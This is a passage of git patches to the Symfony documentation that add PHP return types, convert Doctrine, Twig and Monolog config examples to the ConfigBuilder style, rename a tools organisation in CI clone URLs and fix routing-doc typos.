         // allow any authenticated user - we don't care if they just
         // logged in, or are logged in via a remember me cookie
@@ -182,7 +182,7 @@ users to change their password. You can do this by leveraging a few special "rol
         // ...
     }
 
-    public function resetPassword()
+    public function resetPassword(): Response
     {
         // require the user to log in during *this* session
         // if they were only logged in via a remember me cookie, they
diff --git a/security/user_checkers.rst b/security/user_checkers.rst
index 068816440ce..ade87408b09 100644
--- a/security/user_checkers.rst
+++ b/security/user_checkers.rst
@@ -29,7 +29,7 @@ or :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationExceptio
 
     class UserChecker implements UserCheckerInterface
     {
-        public function checkPreAuth(UserInterface $user)
+        public function checkPreAuth(UserInterface $user): void
         {
             if (!$user instanceof AppUser) {
                 return;
@@ -41,7 +41,7 @@ or :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationExceptio
             }
         }
 
-        public function checkPostAuth(UserInterface $user)
+        public function checkPostAuth(UserInterface $user): void
         {
             if (!$user instanceof AppUser) {
                 return;
diff --git a/security/user_provider.rst b/security/user_provider.rst
index 05b1215a77c..cdc36be8d85 100644
--- a/security/user_provider.rst
+++ b/security/user_provider.rst
@@ -129,6 +129,7 @@ interface only requires one method: ``loadUserByUsername($username)``::
     // src/Repository/UserRepository.php
     namespace App\Repository;
 
+    use App\Entity\User;
     use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
     use Symfony\Bridge\Doctrine\Security\User\UserLoaderInterface;
 
@@ -136,7 +137,7 @@ interface only requires one method: ``loadUserByUsername($username)``::
     {
         // ...
 
-        public function loadUserByUsername($usernameOrEmail)
+        public function loadUserByUsername($usernameOrEmail): ?User
         {
             $entityManager = $this->getEntityManager();
 
diff --git a/security/voters.rst b/security/voters.rst
index c8daae7ba38..84cbb446704 100644
--- a/security/voters.rst
+++ b/security/voters.rst
@@ -70,14 +70,14 @@ user can *edit* or *view* the object. In your controller, you'll check access wi
 code like this::
 
     // src/Controller/PostController.php
-    // ...
 
+    // ...
     class PostController extends AbstractController
     {
         /**
          * @Route("/posts/{id}", name="post_show")
          */
-        public function show($id)
+        public function show($id): Response
         {
             // get a Post object - e.g. query for it
             $post = ...;
@@ -91,7 +91,7 @@ code like this::
         /**
          * @Route("/posts/{id}/edit", name="post_edit")
          */
-        public function edit($id)
+        public function edit($id): Response
         {
             // get a Post object - e.g. query for it
             $post = ...;
@@ -130,7 +130,7 @@ would look like this::
         const VIEW = 'view';
         const EDIT = 'edit';
 
-        protected function supports($attribute, $subject)
+        protected function supports($attribute, $subject): bool
         {
             // if the attribute isn't one we support, return false
             if (!in_array($attribute, [self::VIEW, self::EDIT])) {
@@ -145,7 +145,7 @@ would look like this::
             return true;
         }
 
-        protected function voteOnAttribute($attribute, $subject, TokenInterface $token)
+        protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool
         {
             $user = $token->getUser();
 
@@ -168,7 +168,7 @@ would look like this::
             throw new \LogicException('This code should not be reached!');
         }
 
-        private function canView(Post $post, User $user)
+        private function canView(Post $post, User $user): bool
         {
             // if they can edit, they can view
             if ($this->canEdit($post, $user)) {
@@ -179,7 +179,7 @@ would look like this::
             return !$post->isPrivate();
         }
 
-        private function canEdit(Post $post, User $user)
+        private function canEdit(Post $post, User $user): bool
         {
             // this assumes that the Post object has a `getOwner()` method
             return $user === $post->getOwner();
@@ -243,7 +243,7 @@ with ``ROLE_SUPER_ADMIN``::
             $this->security = $security;
         }
 
-        protected function voteOnAttribute($attribute, $subject, TokenInterface $token)
+        protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool
         {
             // ...
 

From ddc406012c848976fd386d71188da628a30b21e0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 Apr 2021 18:00:57 +0200
Subject: [PATCH 0775/5766] [Uid] Document the namespace string values

---
 components/uid.rst | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index b4a14c52698..3402354c279 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -55,12 +55,12 @@ to create each type of UUID::
     $uuid = Uuid::v3($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV3
     $uuid = Uuid::v5($namespace, $name); // $uuid is an instance of Symfony\Component\Uid\UuidV5
 
-    // the namespaces defined by RFC 4122 are available as constants
-    // (see https://tools.ietf.org/html/rfc4122#appendix-C)
-    $uuid = Uuid::v3(Uuid::NAMESPACE_DNS, $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_URL, $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_OID, $name);
-    $uuid = Uuid::v3(Uuid::NAMESPACE_X500, $name);
+    // the namespaces defined by RFC 4122 (see https://tools.ietf.org/html/rfc4122#appendix-C)
+    // are available as PHP constants and as string values
+    $uuid = Uuid::v3(Uuid::NAMESPACE_DNS, $name);  // same as: Uuid::v3('dns', $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_URL, $name);  // same as: Uuid::v3('url', $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_OID, $name);  // same as: Uuid::v3('oid', $name);
+    $uuid = Uuid::v3(Uuid::NAMESPACE_X500, $name); // same as: Uuid::v3('x500', $name);
 
     // UUID type 6 is not part of the UUID standard. It's lexicographically sortable
     // (like ULIDs) and contains a 60-bit timestamp and 63 extra unique bits.
@@ -69,7 +69,8 @@ to create each type of UUID::
 
 .. versionadded:: 5.3
 
-    The ``Uuid::NAMESPACE_*`` constants were introduced in Symfony 5.3.
+    The ``Uuid::NAMESPACE_*`` constants and the namespace string values (``'dns'``,
+    ``'url'``, etc.) were introduced in Symfony 5.3.
 
 If your UUID value is already generated in another format, use any of the
 following methods to create a ``Uuid`` object from it::

From 14ea9c7bf36387cbc5f958d7238f84237171fe6c Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 21 Apr 2021 21:39:15 +0200
Subject: [PATCH 0776/5766] [ConfigBuilder] Adding PHP ConfigBuilders for
 DoctrineBundle

---
 configuration/secrets.rst             | 13 ++--
 doctrine/custom_dql_functions.rst     | 51 ++++++---------
 doctrine/dbal.rst                     | 28 ++++----
 doctrine/multiple_entity_managers.rst | 92 ++++++++++++---------------
 doctrine/resolve_target_entity.rst    | 14 ++--
 reference/configuration/doctrine.rst  | 47 +++++++-------
 security/remember_me.rst              | 12 ++--
 7 files changed, 119 insertions(+), 138 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 4f7e921163a..299d36326fc 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -138,11 +138,14 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference it by:
     .. code-block:: php
 
         // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'password' => '%env(DATABASE_PASSWORD)%',
-            ]
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $doctrine->dbal()
+                ->connection('default')
+                    ->password('%env(DATABASE_PASSWORD)%')
+            ;
+        };
 
 The actual value will be resolved at runtime: container compilation and cache
 warmup don't need the **decryption key**.
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index ee11967da47..8643a3a643b 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -57,24 +57,19 @@ In Symfony, you can register your custom DQL functions as follows:
         use App\DQL\NumericFunction;
         use App\DQL\SecondStringFunction;
         use App\DQL\StringFunction;
+        use Symfony\Config\DoctrineConfig;
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                // ...
-                'dql' => [
-                    'string_functions' => [
-                        'test_string'   => StringFunction::class,
-                        'second_string' => SecondStringFunction::class,
-                    ],
-                    'numeric_functions' => [
-                        'test_numeric' => NumericFunction::class,
-                    ],
-                    'datetime_functions' => [
-                        'test_datetime' => DatetimeFunction::class,
-                    ],
-                ],
-            ],
-        ]);
+        return static function (DoctrineConfig $doctrine) {
+            $defaultDql = $doctrine->orm()
+                ->entityManager('default')
+                    // ...
+                    ->dql();
+
+            $defaultDql->stringFunction('test_string', StringFunction::class);
+            $defaultDql->stringFunction('second_string', SecondStringFunction::class);
+            $defaultDql->numericFunction('test_numeric', NumericFunction::class);
+            $defaultDql->datetimeFunction('test_datetime', DatetimeFunction::class);
+        };
 
 .. note::
 
@@ -129,21 +124,15 @@ In Symfony, you can register your custom DQL functions as follows:
 
             // config/packages/doctrine.php
             use App\DQL\DatetimeFunction;
+            use Symfony\Config\DoctrineConfig;
 
-            $container->loadFromExtension('doctrine', [
-                'orm' => [
+            return static function (DoctrineConfig $doctrine) {
+                $doctrine->orm()
                     // ...
-                    'entity_managers' => [
-                        'example_manager' => [
-                            // place your functions here
-                            'dql' => [
-                                'datetime_functions' => [
-                                    'test_datetime' => DatetimeFunction::class,
-                                ],
-                            ],
-                        ],
-                    ],
-                ],
-            ]);
+                    ->entityManager('example_manager')
+                        // place your functions here
+                        ->dql()
+                            ->datetimeFunction('test_datetime', DatetimeFunction::class);
+            };
 
 .. _`DQL User Defined Functions`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/cookbook/dql-user-defined-functions.html
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 80c145d3d6a..e330fd85732 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -105,15 +105,13 @@ mapping types, read Doctrine's `Custom Mapping Types`_ section of their document
         // config/packages/doctrine.php
         use App\Type\CustomFirst;
         use App\Type\CustomSecond;
+        use Symfony\Config\DoctrineConfig;
 
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'types' => [
-                    'custom_first'  => CustomFirst::class,
-                    'custom_second' => CustomSecond::class,
-                ],
-            ],
-        ]);
+        return static function (DoctrineConfig $doctrine) {
+            $dbal = $doctrine->dbal();
+            $dbal->type('custom_first')->class(CustomFirst::class);
+            $dbal->type('custom_second')->class(CustomSecond::class);
+        };
 
 Registering custom Mapping Types in the SchemaTool
 --------------------------------------------------
@@ -156,13 +154,13 @@ mapping type:
     .. code-block:: php
 
         // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'mapping_types' => [
-                    'enum'  => 'string',
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $dbalDefault = $doctrine->dbal()
+                ->connection('default');
+            $dbalDefault->mappingType('enum', 'string');
+        };
 
 .. _`PDO`: https://www.php.net/pdo
 .. _`Doctrine`: https://www.doctrine-project.org/
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index a78309eb607..ca18e658845 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -128,57 +128,47 @@ The following configuration code shows how you can configure two entity managers
     .. code-block:: php
 
         // config/packages/doctrine.php
-        $container->loadFromExtension('doctrine', [
-            'dbal' => [
-                'default_connection' => 'default',
-                'connections' => [
-                    // configure these for your database server
-                    'default' => [
-                        'url'            => '%env(resolve:DATABASE_URL)%',
-                        'driver'         => 'pdo_mysql',
-                        'server_version' => '5.7',
-                        'charset'        => 'utf8mb4',
-                    ],
-                    // configure these for your database server
-                    'customer' => [
-                        'url'            => '%env(resolve:DATABASE_CUSTOMER_URL)%',
-                        'driver'         => 'pdo_mysql',
-                        'server_version' => '5.7',
-                        'charset'        => 'utf8mb4',
-                    ],
-                ],
-            ],
-
-            'orm' => [
-                'default_entity_manager' => 'default',
-                'entity_managers' => [
-                    'default' => [
-                        'connection' => 'default',
-                        'mappings'   => [
-                            'Main'  => [
-                                'is_bundle' => false,
-                                'type' => 'annotation',
-                                'dir' => '%kernel.project_dir%/src/Entity/Main',
-                                'prefix' => 'App\Entity\Main',
-                                'alias' => 'Main',
-                            ]
-                        ],
-                    ],
-                    'customer' => [
-                        'connection' => 'customer',
-                        'mappings'   => [
-                            'Customer'  => [
-                                'is_bundle' => false,
-                                'type' => 'annotation',
-                                'dir' => '%kernel.project_dir%/src/Entity/Customer',
-                                'prefix' => 'App\Entity\Customer',
-                                'alias' => 'Customer',
-                            ]
-                        ],
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $doctrine->dbal()->defaultConnection('default');
+
+            // configure these for your database server
+            $doctrine->dbal()
+                ->connection('default')
+                ->url('%env(resolve:DATABASE_URL)%')
+                ->driver('pdo_mysql')
+                ->serverVersion('5.7')
+                ->charset('utf8mb4');
+
+            // configure these for your database server
+            $doctrine->dbal()
+                ->connection('customer')
+                ->url('%env(resolve:DATABASE_CUSTOMER_URL)%')
+                ->driver('pdo_mysql')
+                ->serverVersion('5.7')
+                ->charset('utf8mb4');
+
+            $doctrine->orm()->defaultEntityManager('default');
+            $emDefault = $doctrine->orm()->entityManager('default');
+            $emDefault->connection('default');
+            $emDefault->mapping('Main')
+                ->isBundle(false)
+                ->type('annotation')
+                ->dir('%kernel.project_dir%/src/Entity/Main')
+                ->prefix('App\Entity\Main')
+                ->alias('Main');
+
+            $emCustomer = $doctrine->orm()->entityManager('customer');
+            $emCustomer->connection('customer');
+            $emCustomer->mapping('Customer')
+                ->isBundle(false)
+                ->type('annotation')
+                ->dir('%kernel.project_dir%/src/Entity/Customer')
+                ->prefix('App\Entity\Customer')
+                ->alias('Customer')
+            ;
+        };
 
 In this case, you've defined two entity managers and called them ``default``
 and ``customer``. The ``default`` entity manager manages entities in the
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 765f5d187ce..f16ca7421e5 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -139,15 +139,13 @@ about the replacement:
         // config/packages/doctrine.php
         use App\Entity\Customer;
         use App\Model\InvoiceSubjectInterface;
+        use Symfony\Config\DoctrineConfig;
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                // ...
-                'resolve_target_entities' => [
-                    InvoiceSubjectInterface::class => Customer::class,
-                ],
-            ],
-        ]);
+        return static function (DoctrineConfig $doctrine) {
+            $orm = $doctrine->orm();
+            // ...
+            $orm->resolveTargetEntity(InvoiceSubjectInterface::class, Customer::class);
+        };
 
 Final Thoughts
 --------------
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 226316012d1..b097a15a548 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -345,14 +345,17 @@ directory instead:
 
     .. code-block:: php
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                'auto_mapping' => true,
-                'mappings' => [
-                    'AppBundle' => ['dir' => 'SomeResources/config/doctrine', 'type' => 'xml'],
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $emDefault = $doctrine->orm()->entityManager('default');
+
+            $emDefault->autoMapping(true);
+            $emDefault->mapping('AppBundle')
+                ->type('xml')
+                ->dir('SomeResources/config/doctrine')
+            ;
+        };
 
 Mapping Entities Outside of a Bundle
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -402,20 +405,20 @@ namespace in the ``src/Entity`` directory and gives them an ``App`` alias
 
     .. code-block:: php
 
-        $container->loadFromExtension('doctrine', [
-            'orm' => [
-                'auto_mapping' => true,
-                'mappings' => [
-                    'SomeEntityNamespace' => [
-                        'type'      => 'annotation',
-                        'dir'       => '%kernel.project_dir%/src/Entity',
-                        'is_bundle' => false,
-                        'prefix'    => 'App\Entity',
-                        'alias'     => 'App',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\DoctrineConfig;
+
+        return static function (DoctrineConfig $doctrine) {
+            $emDefault = $doctrine->orm()->entityManager('default');
+
+            $emDefault->autoMapping(true);
+            $emDefault->mapping('SomeEntityNamespace')
+                ->type('annotation')
+                ->dir('%kernel.project_dir%/src/Entity')
+                ->isBundle(false)
+                ->prefix('App\Entity')
+                ->alias('App')
+            ;
+        };
 
 Detecting a Mapping Configuration Format
 ........................................
diff --git a/security/remember_me.rst b/security/remember_me.rst
index 20ac93897c3..4f0af428361 100644
--- a/security/remember_me.rst
+++ b/security/remember_me.rst
@@ -289,13 +289,13 @@ so ``DoctrineTokenProvider`` can store the tokens:
         .. code-block:: php
 
             # config/packages/doctrine.php
-            $container->loadFromExtension('doctrine', [
-                'dbal' => [
-                    'schema_filter'  => '~^(?!rememberme_token)~',
-                    // ...
-                ],
+            use Symfony\Config\DoctrineConfig;
+
+            return static function (DoctrineConfig $doctrine) {
+                $dbalDefault = $doctrine->dbal()->connection('default');
                 // ...
-            ]);
+                $dbalDefault->schemaFilter('~^(?!rememberme_token)~');
+            };
 
 Finally, set the ``token_provider`` option of the ``remember_me`` config to the
 service you created before:

From 28d3a5665543629687e7912c653f8c76e3d8644b Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Wed, 21 Apr 2021 22:00:34 +0200
Subject: [PATCH 0777/5766] [Twig] [ConfigBuilder] Use ConfigBuilder for
 TwigBundle

---
 .../front_controllers_and_kernel.rst          |  9 ++++---
 configuration/override_dir_structure.rst      |  8 +++---
 form/bootstrap4.rst                           | 10 +++----
 form/create_custom_field_type.rst             | 10 ++++---
 form/form_themes.rst                          | 22 ++++++++++------
 mailer.rst                                    | 26 ++++++++++---------
 reference/configuration/twig.rst              | 24 ++++++++++-------
 templating/global_variables.rst               | 22 +++++++++-------
 testing.rst                                   |  8 +++---
 9 files changed, 81 insertions(+), 58 deletions(-)

diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index fe3c8179ed0..47d8bcfa686 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -190,10 +190,13 @@ parameter used, for example, to turn Twig's debug mode on:
 
     .. code-block:: php
 
-        $container->loadFromExtension('twig', [
-            'debug' => '%kernel.debug%',
+        // config/packages/twig.php
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-        ]);
+            $twig->debug('%kernel.debug%');
+        };
 
 The Environments
 ----------------
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index 03ed8bcbe41..fef0d7756fb 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -140,9 +140,11 @@ for multiple directories):
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'default_path' => '%kernel.project_dir%/resources/views',
-        ]);
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->defaultPath('%kernel.project_dir%/resources/views');
+        };
 
 Override the Translations Directory
 -----------------------------------
diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 6f3b878ed1b..34b83b6a203 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -55,13 +55,13 @@ configuration:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
-                'bootstrap_4_layout.html.twig',
-            ],
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes(['bootstrap_4_layout.html.twig']);
 
             // ...
-        ]);
+        };
 
 If you prefer to apply the Bootstrap styles on a form to form basis, include the
 ``form_theme`` tag in the templates where those forms are used:
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 248818aa6d3..c95a0c80880 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -405,12 +405,14 @@ rest of files):
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'form/custom_types.html.twig',
                 '...',
-            ],
-        ]);
+            ]);
+        };
 
 The last step is to create the actual Twig template that will render the type.
 The template contents depend on which HTML, CSS and JavaScript frameworks and
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 927da208176..cdcb1cb2e2c 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -88,12 +88,15 @@ want to use another theme for all the forms of your app, configure it in the
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'bootstrap_4_horizontal_layout.html.twig',
-            ],
+            ]);
+
             // ...
-        ]);
+        };
 
 You can pass multiple themes to this option because sometimes form themes only
 redefine a few elements. This way, if some theme doesn't override some element,
@@ -514,12 +517,15 @@ you want to apply the theme globally to all forms, define the
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'form/my_theme.html.twig',
-            ],
+            ]);
+
             // ...
-        ]);
+        };
 
 If you only want to apply it to some specific forms, use the ``form_theme`` tag:
 
diff --git a/mailer.rst b/mailer.rst
index 6d0901504cd..f772dba65af 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -704,13 +704,14 @@ image files as usual. First, to simplify things, define a Twig namespace called
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                // point this wherever your images live
-                '%kernel.project_dir%/assets/images' => 'images',
-            ],
-        ]);
+
+            // point this wherever your images live
+            $twig->path('%kernel.project_dir%/assets/images', 'images');
+        };
 
 Now, use the special ``email.image()`` Twig helper to embed the images inside
 the email contents:
@@ -812,13 +813,14 @@ called ``styles`` that points to the directory where ``email.css`` lives:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                // point this wherever your css files live
-                '%kernel.project_dir%/assets/styles' => 'styles',
-            ],
-        ]);
+
+            // point this wherever your css files live
+            $twig->path('%kernel.project_dir%/assets/styles', 'styles');
+        };
 
 .. _mailer-markdown:
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 5d5edd1d43c..39a490650c5 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -235,13 +235,16 @@ all the forms of the application:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
-            'form_themes' => [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->formThemes([
                 'bootstrap_4_layout.html.twig',
                 'form/my_theme.html.twig',
-            ],
+            ]);
+
             // ...
-        ]);
+        };
 
 The order in which themes are defined is important because each theme overrides
 all the previous one. When rendering a form field whose block is not defined in
@@ -348,13 +351,14 @@ the directory defined in the :ref:`default_path option <config-twig-default-path
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                'email/default/templates' => null,
-                'backend/templates' => 'admin',
-            ],
-        ]);
+
+            $twig->path('email/default/templates', null);
+            $twig->path('backend/templates', 'admin');
+        };
 
 Read more about :ref:`template directories and namespaces <templates-namespaces>`.
 
diff --git a/templating/global_variables.rst b/templating/global_variables.rst
index 2e2c841812c..12090f8b859 100644
--- a/templating/global_variables.rst
+++ b/templating/global_variables.rst
@@ -39,12 +39,13 @@ main Twig configuration file:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'globals' => [
-                'ga_tracking' => 'UA-xxxxx-x',
-            ],
-        ]);
+
+            $twig->global('ga_tracking')->value('UA-xxxxx-x');
+        };
 
 Now, the variable ``ga_tracking`` is available in all Twig templates, so you
 can use it without having to pass it explicitly from the controller or service
@@ -98,12 +99,13 @@ the ``@`` character, which is the usual syntax to
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'globals' => [
-                'uuid' => '@App\Generator\UuidGenerator',
-            ],
-        ]);
+
+            $twig->global('uuid')->value('@App\Generator\UuidGenerator');
+        };
 
 Now you can use the ``uuid`` variable in any Twig template to access to the
 ``UuidGenerator`` service:
diff --git a/testing.rst b/testing.rst
index ebf64cc562f..66c36711bd9 100644
--- a/testing.rst
+++ b/testing.rst
@@ -184,9 +184,11 @@ code to production:
     .. code-block:: php
 
         // config/packages/test/twig.php
-        $container->loadFromExtension('twig', [
-            'strict_variables' => true,
-        ]);
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
+            $twig->strictVariables(true);
+        };
 
 You can also use a different environment entirely, or override the default
 debug mode (``true``) by passing each as options to the ``bootKernel()``

From 9bcce64e6e553a3f2398d907de542c25379ff96f Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Thu, 22 Apr 2021 12:25:09 +0200
Subject: [PATCH 0778/5766] Rename symfony-docs-tools to symfony-tools

---
 .github/workflows/ci.yaml | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 08dc6b970ea..ace788a628d 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -139,14 +139,14 @@ jobs:
           - name: Install dependencies
             if: ${{ steps.find-files.outputs.files }}
             run: |
-              git clone --depth 15 https://github.com/symfony-docs-tools/code-block-checker.git ../_checker
+              git clone --depth 15 https://github.com/symfony-tools/code-block-checker.git ../_checker
               cd ../_checker
               composer install
 
           - name: Install test application
             if: ${{ steps.find-files.outputs.files }}
             run: |
-              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-docs-tools/symfony-application.git ../_sf_app
+              git clone -b ${{ github.base_ref }} --depth 5 --single-branch https://github.com/symfony-tools/symfony-application.git ../_sf_app
               cd ../_sf_app
               composer update
 

From 7749b4c7e4e944158ee562ace57d4dcef081c82d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Thu, 22 Apr 2021 15:55:50 +0200
Subject: [PATCH 0779/5766] Fixing some typos

Question: Is this rule always true?:
> then ``token`` will only get the last part and the rest is matched by ``path``.
Cause if Yes, the introduction doesn't make sense:
> you might get unexpected results
cause if there's a rule, it's not unexpected ;-)
So it would be better to explain that the *first* parameter is always greedy.
---
 routing.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/routing.rst b/routing.rst
index fefe3a190a3..6b5a91f8029 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1125,11 +1125,11 @@ A possible solution is to change the parameter requirements to be more permissiv
 
 .. note::
 
-    If the route defines several parameter and you apply this permissive
+    If the route defines several parameters and you apply this permissive
     regular expression to all of them, you might get unexpected results. For
     example, if the route definition is ``/share/{path}/{token}`` and both
-    ``path`` and ``token`` accept ``/``. The ``token`` only get the last path
-    and the rest of the match is matched by the first argument (``path``).
+    ``path`` and ``token`` accept ``/``, then ``token`` will only get the last part
+    and the rest is matched by ``path``.
 
 .. note::
 

From 0fcc3e80d4559e7cd8ed65d5787375f656c5a11b Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Thu, 22 Apr 2021 17:59:49 +0200
Subject: [PATCH 0780/5766] [Monolog] Add ConfigBuilders for Monolog

---
 email.rst                                |   8 +-
 logging.rst                              | 102 ++++++++-------
 logging/channels_handlers.rst            |  41 +++---
 logging/formatter.rst                    |  24 ++--
 logging/handlers.rst                     |  17 ++-
 logging/monolog_console.rst              |  18 +--
 logging/monolog_email.rst                | 153 ++++++++++++-----------
 logging/monolog_exclude_http_codes.rst   |  20 +--
 logging/monolog_regex_based_excludes.rst |  22 ++--
 logging/processors.rst                   |  20 +--
 10 files changed, 209 insertions(+), 216 deletions(-)

diff --git a/email.rst b/email.rst
index 60e630abc38..d2f52a21fd6 100644
--- a/email.rst
+++ b/email.rst
@@ -394,9 +394,11 @@ the report with details of the sent emails.
     .. code-block:: php
 
         // config/packages/dev/web_profiler.php
-        $container->loadFromExtension('web_profiler', [
-            'intercept_redirects' => 'true',
-        ]);
+        use Symfony\Config\WebProfilerConfig;
+
+        return static function (WebProfilerConfig $webProfiler) {
+            $webProfiler->interceptRedirects(true);
+        };
 
 .. tip::
 
diff --git a/logging.rst b/logging.rst
index 2651247d5c5..b18c6479bf1 100644
--- a/logging.rst
+++ b/logging.rst
@@ -138,23 +138,22 @@ to write logs using the :phpfunction:`syslog` function:
     .. code-block:: php
 
         // config/packages/prod/monolog.php
-        $container->loadFromExtension('monolog', [
-            'handlers' => [
-                // this "file_log" key could be anything
-                'file_log' => [
-                    'type'  => 'stream',
-                    // log to var/logs/(environment).log
-                    'path'  => '%kernel.logs_dir%/%kernel.environment%.log',
-                    // log *all* messages (debug is lowest level)
-                    'level' => 'debug',
-                ],
-                'syslog_handler' => [
-                    'type'  => 'syslog',
-                    // log error-level messages and higher
-                    'level' => 'error',
-                ],
-            ],
-        ]);
+        use Symfony\Config\MonologConfig;
+
+        return static function (MonologConfig $monolog) {
+            // this "file_log" key could be anything
+            $monolog->handler('file_log')
+                ->type('stream')
+                // log to var/logs/(environment).log
+                ->path('%kernel.logs_dir%/%kernel.environment%.log')
